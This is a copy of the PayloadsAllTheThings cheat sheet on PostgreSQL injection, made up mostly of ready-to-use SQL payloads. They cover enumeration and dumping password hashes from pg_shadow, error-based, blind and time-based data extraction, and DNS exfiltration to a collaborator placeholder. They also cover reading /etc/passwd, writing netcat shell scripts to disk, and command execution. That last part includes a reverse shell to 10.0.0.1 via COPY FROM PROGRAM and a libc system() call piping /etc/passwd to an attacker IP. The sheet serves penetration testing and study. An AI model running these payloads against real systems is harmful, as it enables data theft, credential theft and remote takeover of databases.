postgresql-injection.md (13529B)
1 --- 2 title: "PostgreSQL Injection" 3 topic: "SQL Injection" 4 topicSlug: "sql-injection" 5 sourcePath: "SQL Injection/PostgreSQL Injection.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/SQL%20Injection/PostgreSQL%20Injection.md" 7 sha: "3ac27901c711" 8 isReadme: false 9 --- 10 11 # PostgreSQL Injection 12 13 > PostgreSQL SQL injection refers to a type of security vulnerability where attackers exploit improperly sanitized user input to execute unauthorized SQL commands within a PostgreSQL database. 14 15 ## Summary 16 17 * [PostgreSQL Comments](#postgresql-comments) 18 * [PostgreSQL Enumeration](#postgresql-enumeration) 19 * [PostgreSQL Methodology](#postgresql-methodology) 20 * [PostgreSQL Error Based](#postgresql-error-based) 21 * [PostgreSQL XML Helpers](#postgresql-xml-helpers) 22 * [PostgreSQL Blind](#postgresql-blind) 23 * [PostgreSQL Blind With Substring Equivalent](#postgresql-blind-with-substring-equivalent) 24 * [PostgreSQL Time Based](#postgresql-time-based) 25 * [PostgreSQL Out of Band](#postgresql-out-of-band) 26 * [PostgreSQL Stacked Query](#postgresql-stacked-query) 27 * [PostgreSQL File Manipulation](#postgresql-file-manipulation) 28 * [PostgreSQL File Read](#postgresql-file-read) 29 * [PostgreSQL File Write](#postgresql-file-write) 30 * [PostgreSQL Command Execution](#postgresql-command-execution) 31 * [Using COPY TO/FROM PROGRAM](#using-copy-tofrom-program) 32 * [Using libc.so.6](#using-libcso6) 33 * [PostgreSQL WAF Bypass](#postgresql-waf-bypass) 34 * [Alternative to Quotes](#alternative-to-quotes) 35 * [PostgreSQL Privileges](#postgresql-privileges) 36 * [PostgreSQL List Privileges](#postgresql-list-privileges) 37 * [PostgreSQL Superuser Role](#postgresql-superuser-role) 38 * [References](#references) 39 40 ## PostgreSQL Comments 41 42 | Type | Comment | 43 | ------------------- | ------- | 44 | Single-Line Comment | `--` | 45 | Multi-Line Comment | `/**/` | 46 47 ## PostgreSQL Enumeration 48 49 | Description | SQL Query | 50 | ---------------------- | ---------------------------------------------------- | 51 | DBMS version | `SELECT version()` | 52 | Database Name | `SELECT CURRENT_DATABASE()` | 53 | Database Schema | `SELECT CURRENT_SCHEMA()` | 54 | List PostgreSQL Users | `SELECT usename FROM pg_user` | 55 | List Password Hashes | `SELECT usename, passwd FROM pg_shadow` | 56 | List DB Administrators | `SELECT usename FROM pg_user WHERE usesuper IS TRUE` | 57 | Current User | `SELECT user;` | 58 | Current User | `SELECT current_user;` | 59 | Current User | `SELECT session_user;` | 60 | Current User | `SELECT usename FROM pg_user;` | 61 | Current User | `SELECT getpgusername();` | 62 63 ## PostgreSQL Methodology 64 65 | Description | SQL Query | 66 | -------------- | ------------------------------------------------------------------------------------- | 67 | List Schemas | `SELECT DISTINCT(schemaname) FROM pg_tables` | 68 | List Databases | `SELECT datname FROM pg_database` | 69 | List Tables | `SELECT table_name FROM information_schema.tables` | 70 | List Tables | `SELECT table_name FROM information_schema.tables WHERE table_schema='<SCHEMA_NAME>'` | 71 | List Tables | `SELECT tablename FROM pg_tables WHERE schemaname = '<SCHEMA_NAME>'` | 72 | List Columns | `SELECT column_name FROM information_schema.columns WHERE table_name='data_table'` | 73 74 ## PostgreSQL Error Based 75 76 | Name | Payload | 77 | ---- | ----------------------------------------------------------------------- | 78 | CAST | `AND 1337=CAST('~'\|\|(SELECT version())::text\|\|'~' AS NUMERIC) -- -` | 79 | CAST | `AND (CAST('~'\|\|(SELECT version())::text\|\|'~' AS NUMERIC)) -- -` | 80 | CAST | `AND CAST((SELECT version()) AS INT)=1337 -- -` | 81 | CAST | `AND (SELECT version())::int=1 -- -` | 82 83 ```sql 84 CAST(chr(126)||VERSION()||chr(126) AS NUMERIC) 85 CAST(chr(126)||(SELECT table_name FROM information_schema.tables LIMIT 1 offset data_offset)||chr(126) AS NUMERIC)-- 86 CAST(chr(126)||(SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset)||chr(126) AS NUMERIC)-- 87 CAST(chr(126)||(SELECT data_column FROM data_table LIMIT 1 offset data_offset)||chr(126) AS NUMERIC) 88 ``` 89 90 ```sql 91 ' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1 92 ' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1 93 ' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1 94 ' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1 95 ``` 96 97 ### PostgreSQL XML Helpers 98 99 ```sql 100 SELECT query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row 101 ``` 102 103 The `query_to_xml` above returns all the results of the specified query as a single result. Chain this with the [PostgreSQL Error Based](#postgresql-error-based) technique to exfiltrate data without having to worry about `LIMIT`ing your query to one result. 104 105 ```sql 106 SELECT database_to_xml(true,true,''); -- dump the current database to XML 107 SELECT database_to_xmlschema(true,true,''); -- dump the current db to an XML schema 108 ``` 109 110 Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition. 111 112 ## PostgreSQL Blind 113 114 ### PostgreSQL Blind With Substring Equivalent 115 116 | Function | Example | 117 | ----------- | ----------------------------------------------- | 118 | `SUBSTR` | `SUBSTR('foobar', <START>, <LENGTH>)` | 119 | `SUBSTRING` | `SUBSTRING('foobar', <START>, <LENGTH>)` | 120 | `SUBSTRING` | `SUBSTRING('foobar' FROM <START> FOR <LENGTH>)` | 121 122 Examples: 123 124 ```sql 125 ' and substr(version(),1,10) = 'PostgreSQL' and '1 -- TRUE 126 ' and substr(version(),1,10) = 'PostgreXXX' and '1 -- FALSE 127 ``` 128 129 ## PostgreSQL Time Based 130 131 ### Identify Time Based 132 133 ```sql 134 select 1 from pg_sleep(5) 135 ;(select 1 from pg_sleep(5)) 136 ||(select 1 from pg_sleep(5)) 137 ``` 138 139 ### Database Dump Time Based 140 141 ```sql 142 select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1 143 ``` 144 145 ### Table Dump Time Based 146 147 ```sql 148 select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1 149 ``` 150 151 ### Columns Dump Time Based 152 153 ```sql 154 select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1 155 select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1 156 ``` 157 158 ```sql 159 AND 'RANDSTR'||PG_SLEEP(10)='RANDSTR' 160 AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) 161 AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) 162 ``` 163 164 ## PostgreSQL Out of Band 165 166 Out-of-band SQL injections in PostgreSQL relies on the use of functions that can interact with the file system or network, such as `COPY`, `lo_export`, or functions from extensions that can perform network actions. The idea is to exploit the database to send data elsewhere, which the attacker can monitor and intercept. 167 168 ```sql 169 declare c text; 170 declare p text; 171 begin 172 SELECT into p (SELECT YOUR-QUERY-HERE); 173 c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''; 174 execute c; 175 END; 176 $$ language plpgsql security definer; 177 SELECT f(); 178 ``` 179 180 ## PostgreSQL Stacked Query 181 182 Use a semi-colon "`;`" to add another query 183 184 ```sql 185 SELECT 1;CREATE TABLE NOTSOSECURE (DATA VARCHAR(200));-- 186 ``` 187 188 ## PostgreSQL File Manipulation 189 190 ### PostgreSQL File Read 191 192 NOTE: Earlier versions of Postgres did not accept absolute paths in `pg_read_file` or `pg_ls_dir`. Newer versions (as of [0fdc8495bff02684142a44ab3bc5b18a8ca1863a](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) commit) will allow reading any file/filepath for super users or users in the `default_role_read_server_files` group. 193 194 * Using `pg_read_file`, `pg_ls_dir` 195 196 ```sql 197 select pg_ls_dir('./'); 198 select pg_read_file('PG_VERSION', 0, 200); 199 ``` 200 201 * Using `COPY` 202 203 ```sql 204 CREATE TABLE temp(t TEXT); 205 COPY temp FROM '/etc/passwd'; 206 SELECT * FROM temp limit 1 offset 0; 207 ``` 208 209 * Using `lo_import` 210 211 ```sql 212 SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID 213 SELECT lo_get(16420); -- use the OID returned from the above 214 SELECT * from pg_largeobject; -- or just get all the large objects and their data 215 ``` 216 217 ### PostgreSQL File Write 218 219 * Using `COPY` 220 221 ```sql 222 CREATE TABLE nc (t TEXT); 223 INSERT INTO nc(t) VALUES('nc -lvvp 2346 -e /bin/bash'); 224 SELECT * FROM nc; 225 COPY nc(t) TO '/tmp/nc.sh'; 226 ``` 227 228 * Using `COPY` (one-line) 229 230 ```sql 231 COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab'; 232 ``` 233 234 * Using `lo_from_bytea`, `lo_put` and `lo_export` 235 236 ```sql 237 SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data 238 SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20 239 SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport 240 ``` 241 242 ## PostgreSQL Command Execution 243 244 ### Using COPY TO/FROM PROGRAM 245 246 Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with '`pg_execute_server_program`' to pipe to and from an external program using `COPY`. 247 248 ```sql 249 COPY (SELECT '') TO PROGRAM 'getent hosts $(whoami).[BURP_COLLABORATOR_DOMAIN_CALLBACK]'; 250 COPY (SELECT '') to PROGRAM 'nslookup [BURP_COLLABORATOR_DOMAIN_CALLBACK]' 251 ``` 252 253 ```sql 254 CREATE TABLE shell(output text); 255 COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f'; 256 ``` 257 258 ### Using libc.so.6 259 260 ```sql 261 CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; 262 SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>'); 263 ``` 264 265 ## PostgreSQL WAF Bypass 266 267 ### Alternative to Quotes 268 269 PostgreSQL offers several ways to construct string values without using standard single-quoted literals. The `CHR()` function can generate individual characters from their numeric character codes, which can then be combined using the concatenation operator (`||`). PostgreSQL also supports dollar-quoted strings, available since version 8, allowing text to be enclosed between `$$` delimiters without escaping embedded single quotes. 270 271 | Payload | Technique | 272 | --------------------------------------- | ----------------------------------------------- | 273 | `SELECT CHR(65)\|\|CHR(66)\|\|CHR(67);` | String from `CHR()` | 274 | `SELECT $$NoQuote$$` | Dollar-Quoted String ( >= version 8 PostgreSQL) | 275 276 ## PostgreSQL Privileges 277 278 ### PostgreSQL List Privileges 279 280 Retrieve all table-level privileges for the current user, excluding tables in system schemas like `pg_catalog` and `information_schema`. 281 282 ```sql 283 SELECT * FROM information_schema.role_table_grants WHERE grantee = current_user AND table_schema NOT IN ('pg_catalog', 'information_schema'); 284 ``` 285 286 ### PostgreSQL Superuser Role 287 288 ```sql 289 SHOW is_superuser; 290 SELECT current_setting('is_superuser'); 291 SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER; 292 ``` 293 294 ## References 295 296 * [A Penetration Tester's Guide to PostgreSQL - David Hayter - July 22, 2017](https://web.archive.org/web/20250812102408/https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9) 297 * [Advanced PostgreSQL SQL Injection and Filter Bypass Techniques - Leon Juranic - June 17, 2009](https://web.archive.org/web/20200927000909/https://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf) 298 * [Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - GreenWolf - March 20, 2019](https://web.archive.org/web/20250803101126/https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) 299 * [Postgres SQL Injection Cheat Sheet - @pentestmonkey - August 23, 2011](https://web.archive.org/web/20260302153609/https://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet) 300 * [PostgreSQL 9.x Remote Command Execution - dionach - October 26, 2017](https://web.archive.org/web/20201001043242/https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/) 301 * [SQL Injection /webApp/oma_conf ctx parameter - Sergey Bobrov (bobrov) - December 8, 2016](https://web.archive.org/web/20240613225549/https://hackerone.com/reports/181803) 302 * [SQL Injection and Postgres - An Adventure to Eventual RCE - Denis Andzakovic - May 5, 2020](https://web.archive.org/web/20251210040037/https://pulsesecurity.co.nz/articles/postgres-sqli)